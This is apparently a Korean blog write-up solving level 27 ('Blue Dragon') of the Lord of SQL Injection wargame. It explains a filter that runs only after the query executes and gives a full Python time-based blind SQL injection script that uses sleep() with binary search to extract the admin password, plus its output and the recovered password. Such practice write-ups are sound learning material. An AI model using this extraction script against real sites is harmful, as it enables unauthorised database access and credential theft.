WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 27 - Blue Dragon

Dragon시리즈의 마지막인 Blue Dragon이다. 이번이 알파카를 보는 마지막 시간이 될 거 같다.


코드

코드를 보니 이스케이프 문자와 작은따옴표(')가 필터링되어있다. 이에 따라 코드부로 들어가는 게 쉽지는 않을 듯싶다. 정확한 pw가 필요한 것을 보니 Blind SQL Injection Type의 문제인 거 같다.

 

* 자세히 보니, 필터링이 2회에 거쳐서 진행되는 것을 보니 해결방안이 보일지도??....


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=d948b8a0
import requests
import string
import time

class positive_binary_search :
    mid = 0
    start = 0
    end = 0
    
    def __init__(self,start,end) :
        self.start = start
        self.end = end
        self.mid = (self.start+self.end)//2

    def search_success(self) :
        self.start = self.mid
        self.mid = (self.start+self.end)//2
        
    def search_fail(self) :
        self.end = self.mid
        self.mid = (self.start+self.end)//2
    
    def next(self) :
        return self.mid

url = "### Blue dragon url ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 1
password = ""

print("### find for pw length ###")
while(True) :
    param = "?id=admin' and if(length(pw)>"+str(length)+",sleep(1),0)-- ;"
    new_url = url+param

    start = time.time()
    rec = requests.get(new_url, cookies=cookie)
    end = time.time()
    if end-start > 0.5:
        length += 1
    else :
        print("Found PW length",length)
        break

print("### find for real PW ###")
for i in range(1,length+1) :
    bi = positive_binary_search(0,122)
    tar = bi.next()
    while(True) :
        param = "?id=admin' and if(ascii(substr(pw,"+str(i)+",1))>"+str(tar)+",sleep(1),0)-- ;"
        new_url = url+param

        start = time.time()
        rec = requests.get(new_url, cookies=cookie)
        end = time.time()
        if(end-start > 0.5) :
            bi.search_success()
            if(tar==bi.next()) :
                password += chr(tar+1)
                print("Found password I Think :",password)
                break
            tar = bi.next()
        else :
            bi.search_fail()
            tar = bi.next()

필터조건에서 이스케이프와 작은따옴표가 필터 되는 건 한번 쿼리가 실행된 이후라는 것을 이용애 서

Time Based SQL Injection을 시도하였다. 그냥 asciiletters와 digits를 순회하면 한백년걸릴 거 같아서 저번 시간에 쓴 이진 탐색을 조금 섞어주었다. 

 

코드의 출력은 다음과 같다.

### find for pw length ###
Found PW length 8
### find for real PW ###
Found password I Think : d
Found password I Think : d9
Found password I Think : d94
Found password I Think : d948
Found password I Think : d948b
Found password I Think : d948b8
Found password I Think : d948b8a
Found password I Think : d948b8a0

축하합니다


이렇게 용 3형제를 이겼다. 다음 관문에서 여러분과 만나겠다.